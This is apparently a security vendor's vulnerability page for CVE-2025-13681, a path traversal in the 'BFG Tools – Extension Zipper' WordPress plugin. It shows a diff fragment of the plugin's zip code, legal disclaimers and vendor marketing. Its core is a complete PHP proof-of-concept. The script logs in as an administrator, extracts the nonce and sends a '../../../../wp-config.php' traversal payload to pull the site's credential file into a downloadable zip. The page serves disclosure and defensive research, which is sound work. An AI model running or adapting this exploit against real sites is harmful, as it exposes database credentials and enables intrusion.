+		if ( ! $src || ! file_exists( $src ) || ! is_dir( $src ) ) {
+			wp_die( esc_html__( 'Extension folder not found', 'bfg-tools-extension-zipper' ) );
+		}
+
+		$uploads = wp_upload_dir();
+		$dest    = trailingslashit( $uploads['basedir'] ) . 'extension-zips';
+		if ( ! file_exists( $dest ) ) { wp_mkdir_p( $dest ); }
+		$zip_path = trailingslashit( $dest ) . $zipn;
+
+		if ( ! class_exists( 'ZipArchive' ) ) {
+			wp_die( esc_html__( 'ZipArchive not available', 'bfg-tools-extension-zipper' ) );
+		}
+		$zip = new ZipArchive();
+		if ( true !== $zip->open( $zip_path, ZipArchive::CREATE | ZipArchive::OVERWRITE ) ) {
+			wp_die( esc_html__( 'Unable to create zip', 'bfg-tools-extension-zipper' ) );
+		}
+
+		$exclude_dirs = array( '.git','.svn','.github','.idea','node_modules','vendor/bin','__MACOSX' );
+		$exclude_exts = array( 'log','map' );
+
+		$src = wp_normalize_path( $src );
+		$len = strlen( $src );
+
+// Derive the actual plugin folder name dynamically.
+// Example: /plugins/woocommerce/ → zip root "woocommerce"
+$src_parts = explode('/', trim(str_replace(trailingslashit($plugins_dir), '', $src), '/'));
+$zip_root  = !empty($src_parts[0]) ? $src_parts[0] : basename($src);
+
+		$it = new RecursiveIteratorIterator(
+			new RecursiveDirectoryIterator( $src, FilesystemIterator::SKIP_DOTS ),
+			RecursiveIteratorIterator::SELF_FIRST
+		);
+
+		foreach ( $it as $fi ) {
+			$fp  = wp_normalize_path( $fi->getPathname() );
+			$rp  = ltrim( substr( $fp, $len ), '/' );
+			$ext = pathinfo( $rp, PATHINFO_EXTENSION );
+
+			// Exclude directories and certain extensions
+			foreach ( $exclude_dirs as $d ) {
+				$d = trim( $d, '/' );
+				if ( strpos( $rp, $d . '/' ) === 0 || $rp === $d ) {
+					continue 2;
+				}
+			}
+			if ( $ext && in_array( strtolower( $ext ), $exclude_exts, true ) ) {
+				continue;
+			}
+
+			if ( $fi->isDir() ) {
+				$zip->addEmptyDir( $zip_root . '/' . $rp );
+			} else {
+				$zip->addFile( $fp, $zip_root . '/' . $rp );
+			}
+		}
+		$zip->close();
+
+		/* translators: %s: generated ZIP filename. */
+		$msg = sprintf( __( 'Zip created: %s', 'bfg-tools-extension-zipper' ), basename( $zip_path ) );
+
+		set_transient(
+			'bfgtoexz_msg_' . get_current_user_id(),
+			$msg,
+			60
+		);
+
+		wp_safe_redirect( add_query_arg( array( 'page' => self::PAGE ), admin_url( 'admin.php' ) ) );
+		exit;
+	}
+}
+new BFGTOEXZ_Extension_Zipper();

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13681 - BFG Tools – Extension Zipper <= 1.0.7 - Authenticated (Administrator+) Path Traversal via 'first_file' Parameter

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'admin';
$password = 'password';

// Step 1: Authenticate and obtain WordPress nonce
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

// Create a cookie jar for session persistence
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_');

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $admin_url,
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Access the Extension Zipper page to extract the nonce
$zipper_url = $target_url . '/wp-admin/admin.php?page=bfgtoexz-extension-zipper';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $zipper_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce from the page (nonce is embedded in the form)
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

// Step 3: Exploit the path traversal vulnerability
$exploit_url = $target_url . '/wp-admin/admin-post.php';

// Payload to read wp-config.php using directory traversal
$payload = [
    'action' => 'bfgtoexz_zip',
    '_wpnonce' => $nonce,
    'plugin_dir' => 'akismet',  // Any valid plugin directory
    'first_file' => '../../../../wp-config.php',  // Path traversal payload
    'zip_name' => 'exploit.zip'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$exploit_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Clean up cookie file
unlink($cookie_file);

// Output results
echo "Exploit attempt completed.n";
echo "HTTP Status Code: $http_coden";
echo "If successful, the plugin attempted to create a ZIP containing wp-config.phpn";
echo "Check the uploads/extension-zips directory for the generated archive.n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School